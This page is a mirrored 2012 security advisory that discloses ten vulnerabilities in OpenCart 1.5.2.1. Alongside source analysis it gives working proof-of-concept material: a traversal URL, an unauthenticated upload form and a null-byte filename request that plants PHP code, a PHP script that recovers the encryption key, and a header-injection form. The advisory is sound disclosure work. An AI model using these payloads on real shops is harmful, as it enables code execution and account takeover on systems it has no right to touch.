Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 209
Members: 0
Total: 209
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
[waraxe-2012-SA#084] - Multiple Vulnerabilities in OpenCart 1.5.2.1





Author: Janek Vind "waraxe"
Date: 06. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-84.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

OpenCart is a turn-key ready "out of the box" shopping cart solution.
You simply install, select your template, add products and your ready to start
accepting orders.

http://www.opencart.com/


Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is OpenCart version 1.5.2.1, older versions may be vulnerable as well.

###############################################################################
1. Local File Inclusion in "action.php"
###############################################################################

Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "route"
Preconditions:
1. Windows platform
2. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote file disclosure, php remote code execution


Source code snippet from script "index.php":
-----------------[ source code start ]---------------------------------
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
-----------------[ source code end ]-----------------------------------

We can see, that user submitted parameter "route" is used as argument
for class "Action" initialization.

Source code snippet from vulnerable script "action.php":
-----------------[ source code start ]---------------------------------
final class Action {
protected $file;
...
public function __construct($route, $args = array()) {
$path = '';

$parts = explode('/', str_replace('../', '', (string)$route));

foreach ($parts as $part) {
$path .= $part;

if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {
$path .= '/';

array_shift($parts);

continue;
}

if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
-----------------[ source code end ]-----------------------------------

As seen above, user submitted parameter "route" is sanitized twice against
potrential directory traversal components ("../") and then used as source for
class member "file".

Finally it comes to this:
-----------------[ source code start ]---------------------------------
private function execute($action) {
$file = $action->getFile();
...
if (file_exists($file)) {
require_once($file);
-----------------[ source code end ]-----------------------------------

As we can see, previously constructed file path is used as argument for
php function "require_once()". Sanitization against "../" works well in
most cases, but in case of underlying Windows operating system attacker
can use backslashes and bypass such filtering with use of "..\".

Test (on Windows platform):

http://localhost/opencart1521/index.php?route=..\..\admin\index

Result:

Fatal error: Cannot redeclare error_handler() (previously declared in
C:\apache_www\opencart1521\index.php:78) in
C:\apache_www\opencart1521\admin\index.php on line 87

Error message above indicates, that directory traversal was successful
and php script "admin/index.php" was included as expected.


###############################################################################
2. Arbitrary File Upload in "product.php"
###############################################################################

Reason: insufficient authorization and input data validation
Attack vector: user submitted file upload via POST request
Preconditions:
1. PHP version must be < 5.3.4 for null-byte attacks to work
Result: remote code execution

It appears, that OpenCart allows file upload functionality to anyone.
No authentication or authorization at all.

Test: for testing let's use html form below:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/index.php?route=product/product/upload"
method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result:

{"file":"pJhdgHSudwNdiwdjMLpwdsKSJWSocdwcwoSOJOdwdduwjSSIisdsdiSWswd==",
"success":"Your file was successfully uploaded!"}

There are some mitigating factors though:

1. files are uploaded to "download" directory, but filenames are
random. As we can see above, server response contains filename on JSON
format, but it's encrypted. Random filename example:

waraxe.jpg.620d348d4551ea2870e4cb602881a1d8

2. upload script allows through only files with specific extensions - images
and text files. If we try to upload file "test.php", then server responds as:

{"error":"Invalid file type!"}


Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
...
if (!empty($this->request->files['file']['name'])) {
$filename = basename(html_entity_decode($this->request->files['file']['name'], ENT_QUOTES, 'UTF-8'));
...
$allowed = array();

$filetypes = explode(',', $this->config->get('config_upload_allowed'));

foreach ($filetypes as $filetype) {
$allowed[] = trim($filetype);
}

if (!in_array(substr(strrchr($filename, '.'), 1), $allowed)) {
$json['error'] = $this->language->get('error_filetype');
}
...
if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);

move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
-----------------[ source code end ]-----------------------------------

As we can see, uploaded file extension is checked against allowed
values, which prohibits from direct upload of php files and other interesting
content. Attacker can upload images with php code inside, but it is useful only
with additional LFI vulnerabilities.
So question is, can we bypass file extension checks? How about null bytes?
Little testing with php shows, that original filename, coming from $_FILES array,
cannot contain null bytes. OK, that's understandable, php engine tries to be secure.
But wait a minute ... how about "html_entity_decode" function, which is used
against original filename, coming from $_FILES array?
Quick test shows, that using "&#00;" or even "&#;" in original filename will
be transformed to null byte, which allows as bypass file extension checks.

So how to test this? I wrote little php script for proof of concept, below is
fragment from specific POST request, which does the magic:


Content-Type: multipart/form-data; boundary=---------------------------146043902153
Content-Length: 212
-----------------------------146043902153
Content-Disposition: form-data; name="file"; filename="test.php&#;.jpg"
Content-Type: image/jpeg

<?php
phpinfo();
?>
-----------------------------146043902153--


There is even easier way to exploit this vulnerability. We can
write php script with contents "<?php phpinfo();?>" inside and with
filename "test.php&#;.jpg". We can use same html form for upload,
as seen above and this time php file upload succeeds!

###############################################################################
3. Insufficiently random names for uploaded files in "product.php"
###############################################################################

Reason: using of "rand()" function, which has known weaknesses
Preconditions: Windows platform

Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
...
$file = basename($filename) . '.' . md5(rand());
...
move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
-----------------[ source code end ]-----------------------------------

In previous vulnerability analysis we saw, that unauthorized upload vulnerability
exists, but uploaded file is saved with random filename, which makes exploitation
harder. As seen from source code snippet above, randomness in filename is caused
by using "md5(rand())". In case of *nix platforms this means > 2 000 000 000
possible filenames. But Windows platform is different. From php manual:

"If called without the optional min, max arguments rand() returns a pseudo-random
integer between 0 and getrandmax().
Note: On some platforms (such as Windows), getrandmax() is only 32767."

So it appears, that on Windows platform there is only about 32768 possible
filenames and therefore simple bruteforce can reveal valid path to uploaded file.


###############################################################################
4. Inadequate Encryption Strength
###############################################################################

Reason: Weak encryption algorithm used in OpenCart
Preconditions: none
Result: attacker can use Known Plaintext Attack and obtain encryption key

http://opencarthelp.com/a/?q=improve-opencart-security#change_encryption_key

"Change your encryption key (PCI)
Changing the encryption key will help increase security for your store
as a whole. By default the encryption key for processing orders is set
to 12345. To change it to a unique series, in Admin go to System -> Settings
and click Edit for your store. Encryption Key can be found under the Server tab."

Method "encrypt()" in "encryption.php":
-----------------[ source code start ]---------------------------------
function encrypt($value) {
...
$output = '';

for ($i = 0; $i < strlen($value); $i++) {
$char = substr($value, $i, 1);
$keychar = substr($this->key, ($i % strlen($this->key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));

$output .= $char;
}

return base64_encode($output);
}
-----------------[ source code end ]-----------------------------------

As we can see, it is very weak encryption scheme, which is vulnerable
to Known Plaintext Attack. Default encryption key after OpenCart installation
is "12345" and same key is used in multiple places in OpenCart functionality.
One use of this encryption is obfuscation of uploaded file path:

Source code snippet from script "product.php":
-----------------[ source code start ]---------------------------------
public function upload() {
...
$file = basename($filename) . '.' . md5(rand());
// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);

move_uploaded_file($this->request->files['file']['tmp_name'], DIR_DOWNLOAD . $file);
...
$this->response->setOutput(json_encode($json));
-----------------[ source code end ]-----------------------------------

As shown in previous analysis, attacker has the ability to upload files to
target system. In case of successful upload there is JSON-encoded string,
which contains uploaded file path encrypted with same algorithm, as
discussed. So here is known plaintext attack scenario for key retrieval:

1. attacker uploads file with known filename, for example:

1111111111111111111111111111111111111111.jpg

2. server responds with JSON-encoded string:

{"file":"ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY=","success":
"Your file was successfully uploaded!"}

3. attacker base64-decodes parameter "file", does simple arithmetics
(keychar = cryptchar - plainchar) and recovers original key byte-by-byte.

Below is php script for proof of concept:
-----------------[ PoC code start ]-----------------------------------
<?php
error_reporting(E_ALL);

$plaintext = '1111111111111111111111111111111111111111';
$crypted_b64 = 'ZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWZiY2RlZmJjZGVmYmNkZWOboppil2
FlaJhrZmhmlWeSlpSXbpdqZWZuZWKWZWlmZGlnmJY';

$pt_len = strlen($plaintext);
$crypted_bin = base64_decode($crypted_b64);

$key = '';

for($i = 0; $i < $pt_len; $i ++)
{
$cc = substr($crypted_bin, $i, 1);
$pc = substr($plaintext, $i, 1);
$c = chr(ord($cc) - ord($pc));
$key .= $c;
}

echo "Key: {$key}";
?>
-----------------[ PoC code end ]-----------------------------------


###############################################################################
5. HTTP Response Splitting Vulnerability in "controller.php"
###############################################################################

Reason: using unsanitized user submitted data for HTTP headers generation
Attack vector: user submitted POST parameter "redirect"
Preconditions:
1. PHP version must be < 4.4.2 for HTTP Response Splitting attacks to work


Source code snippet from script "language.php":
-----------------[ source code start ]---------------------------------
protected function index() {
...
if (isset($this->request->post['redirect'])) {
$this->redirect($this->request->post['redirect']);
-----------------[ source code end ]-----------------------------------


Source code snippet from script "controller.php":
-----------------[ source code start ]---------------------------------
protected function redirect($url, $status = 302) {
header('Status: ' . $status);
header('Location: ' . str_replace('&amp;', '&', $url));
exit();
}
-----------------[ source code end ]-----------------------------------

We can see, that unvalidated user submitted POST parameter "redirect" is
used for HTTP header generation. Therefore HTTP Response Splitting
Vulnerability exists in source code above.

Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/opencart1521/" method="post">
<input type="hidden" name="language_code" value="en">
<input type="hidden" name="redirect" value="?route=common/home&#013;&#010;foo=bar&#013;&#010;">
<input type="submit" value="Test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result:

Warning: Header may not contain more than a single header, new line detected. in
C:\apache_www\opencart1521\system\engine\controller.php on line 29

As we can see, current php version is protected against HTTP header injections,
but error message clearly shows, that HTTP Response Splitting Vulerability
exists and is exploitable in case of older php versions.

Because HTTP header generation is done without any validation,
attacker is able to use OpenCart installation for malicious redirects
to arbitrary websites. It means that OpenCart has Open Redirect Vulnerability
as well :)


###############################################################################
6. Insufficiently random names for uploaded files in "download.php"
###############################################################################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Admin privileges needed

Source code snippet from script "download.php":
-----------------[ source code start ]---------------------------------
public function insert() {
...
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {
$filename = $this->request->files['download']['name'] . '.' . md5(rand());

move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);
...
public function update() {
...
if (is_uploaded_file($this->request->files['download']['tmp_name'])) {
$filename = $this->request->files['download']['name'] . '.' . md5(rand());

move_uploaded_file($this->request->files['download']['tmp_name'], DIR_DOWNLOAD . $filename);
-----------------[ source code end ]-----------------------------------

Same problem, as in case of vulnerability #3: on Windows platform there
is only about 32768 possible filenames and therefore simple bruteforce
can reveal valid path to uploaded file.


###############################################################################
7. Admin Password Reset Vulnerability
###############################################################################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Admin email must be known
Result: attacker can reset admin password

Source code snippet from script "admin/controller/common/forgotten.php":
-----------------[ source code start ]---------------------------------
class ControllerCommonForgotten extends Controller {
...
if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
$this->language->load('mail/forgotten');

$code = md5(rand());

$this->model_user_user->editCode($this->request->post['email'], $code);

$subject = sprintf($this->language->get('text_subject'), $this->config->get('config_name'));

$message = sprintf($this->language->get('text_greeting'), $this->config->get('config_name')) . "

";
$message .= sprintf($this->language->get('text_change'), $this->config->get('config_name')) . "

";
$message .= $this->url->link('common/reset', 'code=' . $code, 'SSL') . "

";

-----------------[ source code end ]-----------------------------------

As described previously, using "md5(rand())" on Windows platform means,
that there is only about 32768 different confirmation codes for admin
password reset and therefore admin account takeover is possible by using
bruteforce attack.


###############################################################################
8. Customer Password Reset Vulnerability
###############################################################################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Customer email must be known
Result: attacker can reset customer password

Source code snippet from script "catalog/controller/account/forgotten.php":
-----------------[ source code start ]---------------------------------
$password = substr(md5(rand()), 0, 7);
$this->model_account_customer->editPassword($this->request->post['email'], $password);
...
$message .= $this->language->get('text_password') . "

";
$message .= $password;
-----------------[ source code end ]-----------------------------------

Same problem as in previous case: using "md5(rand())" on Windows platform means,
that there is only about 32768 different new passwords after customer
password reset, therefore customer account takeover is possible by using
bruteforce attack.


###############################################################################
9. Affiliate Password Reset Vulnerability
###############################################################################

Reason: using of "rand()" function, which has known weaknesses
Preconditions:
1. Windows platform
2. Affiliate email must be known
Result: attacker can reset affiliate password

Source code snippet from script "catalog/controller/affiliate/forgotten.php":
-----------------[ source code start ]---------------------------------
$password = substr(md5(rand()), 0, 7);
$this->model_affiliate_affiliate->editPassword($this->request->post['email'], $password);
...
$message .= $this->language->get('text_password') . "

";
$message .= $password;
-----------------[ source code end ]-----------------------------------

Same problem as in previous cases: using "md5(rand())" on Windows platform means,
that there is only about 32768 different new passwords after affiliate
password reset, therefore affiliate account takeover is possible by using
bruteforce attack.


###############################################################
10. Path Disclosure in multiple php scripts
###############################################################

http://localhost/opencart1521/index.php?route[]
Warning: substr() expects parameter 1 to be string, array given in
C:\apache_www\opencart1521\catalog\controller\common\column_left.php

http://localhost/opencart1521/index.php?route=product/product&path[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\controller\product\product.php on line 21

http://localhost/opencart1521/index.php?route=product/search&filter_name[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 432

http://localhost/opencart1521/index.php?route=product/search&filter_name=waraxe&limit[]
Fatal error: Unsupported operand types in
C:\apache_www\opencart1521\catalog\controller\product\search.php on line 206

http://localhost/opencart1521/index.php?route=product/search&filter_tag[]
Warning: explode() expects parameter 2 to be string, array given in
C:\apache_www\opencart1521\catalog\model\catalog\product.php on line 454

http://localhost/opencart1521/admin/index.php?route=common/reset&code[]
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in
C:\apache_www\opencart1521\system\database\mysql.php on line 55


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2012-04-06 (32275 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Global Cops Power Down World's Most Prolific DDoS Dealership
Malware Scammers Gearing Up For 2024 Summer Olympics
FIN7 Is Peddling EDR-Nerfing Malware To Ransomware Operators
Ransomware Continues To Pile On Costs For Critical Infrastructure Victims
Rite Aid Says Hack Impacts 2.2 Million People
State, Local Governments Facing Deluge Of Phishing Attacks
Avast Secretly Gave DoNex Ransomware Decryptors To Victims
Hackers Leak Alleged Taylor Swift Ticket Data To Extort Ticketmaster
Crypto Hacking Thefts Double To 1.4 Billion In First Half Of 2024
Ransomware Locks Credit Union Users Out Of Bank Accounts
Mac Users Served Info Stealer Malware Through Google Ads
Deadline Looms For Alleged LockBit Extortion Over Feds Of 33TB Of Data
Cyber Attack Compromised Indonesian Datacenter, Ransom Sought
CDK Global Begins To Restore Systems After Cyber Attack Hits Thousands Of Retailers
Ransomware Group Exploits PHP Vulnerability Days After Disclosure
GitHub Phishing Campaign Wipes Repos, Extorts Victims
Ransomware Gangs Are Adopting More Brutal Tactics Amidst Crackdowns
Security Industry Has RaaS Model Wrong, Says Expert
Ransomware Attack Disrupting London Hospitals
Cybercrooks Get Cozy With BoxedApp To Dodge Detection
OpenAI Report Reveals Threat Actors Using ChatGPT In Influence Operations
Law Enforcement Operation Takes Aim At An Often Overlooked Cybercrime Lynchpin
Best Buy / Geek Squad Most Impersonated By Scammers In 2023
New Ransomware Uses BitLocker To Encrypt Victim Data
London Drugs Waiting On LockBit's Next Move
Hacker news
Network Of 3,000 GitHub Accounts Used For Malware Distribution
KnowBe4 Hires Fake North Korean IT Worker, Catches New Employee Planting Malware
Hackers Bypass Windows SmartScreen Flaw To Launch Malware
Two Russians Sanctioned Over Cyberattacks On US Critical Infrastructure
Suspected Scattered Spider Suspect Arrested In UK
North Korea May Have Hacked Crypto Exchange WazirX
MarineMax Notifying 123,000 Of Data Breach
Malware Scammers Gearing Up For 2024 Summer Olympics
Vulnerability In Cisco Smart Software Manager Lets Attacker Change Any User Password
FIN7 Is Peddling EDR-Nerfing Malware To Ransomware Operators
Iran Phishes Israeli Orgs With Custom BugSleep Backdoor
Ransomware Continues To Pile On Costs For Critical Infrastructure Victims
Rite Aid Says Hack Impacts 2.2 Million People
APT Exploits Windows Zero-Day To Execute Code Via Disabled Internet Explorer
Trojan Source Flaw Could Result In Covert App Poisoning
Infoseccers Claim Squarespace Migration Linked To DNS Hijackings At Web3 Firms
5 Questions To Ask About The Latest News Surrounding The AT&T Breach
ZDI Shames MS For Yet Another Coordinated Vuln Disclosure Snafu
Data Of Millions Of mSpy Customers Leaked Online
OpenSSH Bug Leaves RHEL And RHELatives Vulnerable
China's APT41 Crew Adds A Stealthy Malware Loader And Fresh Backdoor To Its Toolbox
Millions Impacted By Breach At Advance Auto Parts
Gay Furry Hackers Say They Have Disbanded After Raiding Project 2025's Heritage Foundation
State, Local Governments Facing Deluge Of Phishing Attacks
Threat Actors Exploited Windows 0-Day For More Than A Year Before Microsoft Fixed It
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.104 Seconds